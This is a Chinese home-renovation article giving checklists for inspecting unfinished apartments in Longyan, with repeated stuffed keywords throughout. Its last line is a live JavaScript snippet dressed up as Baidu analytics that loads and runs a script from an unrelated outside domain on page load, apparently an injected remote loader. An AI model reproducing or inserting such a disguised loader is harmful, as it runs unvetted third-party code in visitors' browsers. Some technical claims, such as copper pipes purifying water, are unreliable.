龙岩毛坯房装修验收宝典

现在在市场上毛坯房还是主角，大多数房子还不是精装修、还需设计装修了!毛坯房如何验房呢，对于不是行家的业主来说毛坯房验房是一件麻烦事儿，但是掌握点验房小窍门，带上几件验房工具毛坯房验收也不是一件难事。那么，毛坯房怎么验收，毛坯房验收有什么标准吗?今天，小编为大家带来龙岩毛坯房装修验收注意事项，希望可以帮助到大家!龙岩毛坯房装修验收一、门1、门框是否稳固、周正，安装牢固?2、门扇是否外观平整，漆面完好，无磕碰，色泽一致?3、门锁是否牢固，操作轻便，均匀锁紧?4、门把是否牢固，操作灵活?5、门轴是否平整牢固，转动平稳?6、猫眼是否完好，视野清晰?7、门铃是否按钮完好，加电有声?设计装修龙岩毛坯房装修验收二、窗户1、窗边与混凝土接口是否有缝隙?(窗框墙接缝处一定要密实，不能有缝隙)2、窗扇安装是否牢固、开关灵活、关闭严密?3、窗框是否稳固、周正，表面平整?4、窗户玻璃是否完好?设计装修5、把手是否完好、牢固、灵活?6、窗台下面有无水渍?(如有，则可能是窗户漏水)7、窗前护栏高度是否符合规范、安全、稳固、无妨碍?龙岩毛坯房装修验收三、墙1、屋顶上是否有裂缝?(与横梁平行基本无妨，如果裂缝与墙角呈45?斜角，说明有结构问题)设计装修2、承重墙是否有裂缝?(若裂缝贯穿整个墙面，表示该房存在隐患)3、房间与阳台的连接处是否有裂缝?(如有裂缝很有可能是阳台断裂的先兆，要立即通知相关单位)4、墙身顶棚是否有隆起?用木槌敲一下是否有空声?5、从侧面看墙上是否留有较大、较粗的颗粒或印迹粗糙?6、墙面是否有水滴、结雾的现象?(冬天房间里的墙面如有水滴，说明墙面的保温层可能有问题)7、内墙、厨房卫生间顶面、外墙是否有水迹?设计装修8、内墙墙面上是否有石灰爆点(麻点)?9、墙身有无特别倾斜、弯曲、起浪、隆起或凹陷的地方?10、墙上涂料颜色是否有明显不均匀处?龙岩毛坯房装修验收四、天花板1、是否有麻点?(如果顶部有麻点，对室内装潢将带来很大的不利影响)2、是否有雨水渗漏的痕迹或者裂痕?3、卫生间顶棚是否有漆脱落或长霉菌?4、顶棚楼板有无特别倾斜、起浪、隆起或凹陷?龙岩毛坯房装修验收五、地面1、检查地面有无空壳开裂情况?(用小木锤敲，咚咚声就说明是空心的，要返工，要梆梆声才好)龙岩毛坯房装修验收六、卫生间1、坐厕下水是否顺畅?2、是否有地漏，坡度是否向地漏倾斜?龙岩毛坯房装修验收七、厨房1、电、水、煤气表是否齐全?设计装修2、电、水、煤气表的度数是否从零开始?3、是否有地漏，坡度是否向地漏倾斜?4、供水管的材质是否可靠?(目前大部分供水管采用铜管，可安全使用50年，并可净化管内水质)是□否□龙岩毛坯房装修验收八、电1、电闸机电表在户外的，拉闸后户内是否完全断电?(主要是查看电闸能否控制各个电源)2、户内有分闸的，拉闸后，分支线路是否完全断电?3、各个开关、插座是否牢固?(别忘打开电话、电视的线路接口，用力拉一拉，看是否虚设)4、是否市政供电?(每度临时电要比市政供电高0.2元，而且还没有保障)是□否□龙岩毛坯房装修验收九、管线1、燃气管线是否穿过居室?(如穿过居室易有安全隐患，且不符合设计规范)2、居室、客厅有否各种管线外露?设计装修龙岩毛坯房装修验收十、隔音1、将房门关闭，在房间外制造较大噪音，看隔音效果是否满意?以上是小编分享的龙岩毛坯房装修验收宝典，希望能帮助到大家，更多装修资讯敬请继续关注龙岩装修网。

毛坯房需要验房吗 都是验收哪些方面

不少人觉得精装房需要仔细验房，而毛坯房就没有必要了。那么毛坯房需要验房吗？当然需要，而且和精装房一样仔细认真，质量好坏直接影响后期居住的效果。那么毛坯房都是验收哪些方面？验收毛坯房时，应该重点检验房顶墙壁、上下水管、开关插座、空调孔、水管道五个方面。一、毛坯房需要验房吗—验收房顶墙壁房顶是整体的架构，如果倾斜则有很大的安全隐患。在验房时应该先从地面上选取几个点，分别用卷尺进行房高的测量，如果这几个点到房顶的距离都不一样，就说明了房顶有倾斜的现象。仔细的观察墙面，看有没有裂缝，可以听声音来判断是否有空鼓现象，比如用手轻轻地敲击一下。二、毛坯房需要验房吗—验收上下水管重点的测验厨房卫生间上下的管道，比如说在洗菜池、浴缸放水，直到放满为止，接下来再进行排水，观查一下水流的速度，从而确定排水是否顺畅。反复检查一下马桶的下水状况，如果水流通畅并且速度比较快，那说明此处没有问题。三、毛坯房需要验房吗—验收开关插座考虑到用电的需求，应该在室内安装一定数量的开关和插座，并且保证它们都能够正常使用。首先检查一下配电的线路是否合理，把房间里所有的灯打开，是否都能照亮。还需要使用万用表查看插座是否能够通电，检查一下电视天线的信号问题。四、毛坯房需要验房吗—验收空调孔验收毛坯房的时候，无论有没有安装空调，都应该检查一下空调孔的位置，避免屋里进水。一般来说，空调孔的位置是内高外低，使得它存在一个倾斜角度，这样能够有效的避免室外的水倒灌进入室内。五、毛坯房需要验房吗—验收水管道毛坯房的水管往往都埋在地下，既看不到，又摸不着，所以难以发现问题。这就需要进行水管爆的施压测验，那你把水管的出口先堵住，然后使用水压工具提高水管内的压力。如果达不到15公斤的压力值或者坚持不了15分钟，那证明了水路存在问题。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();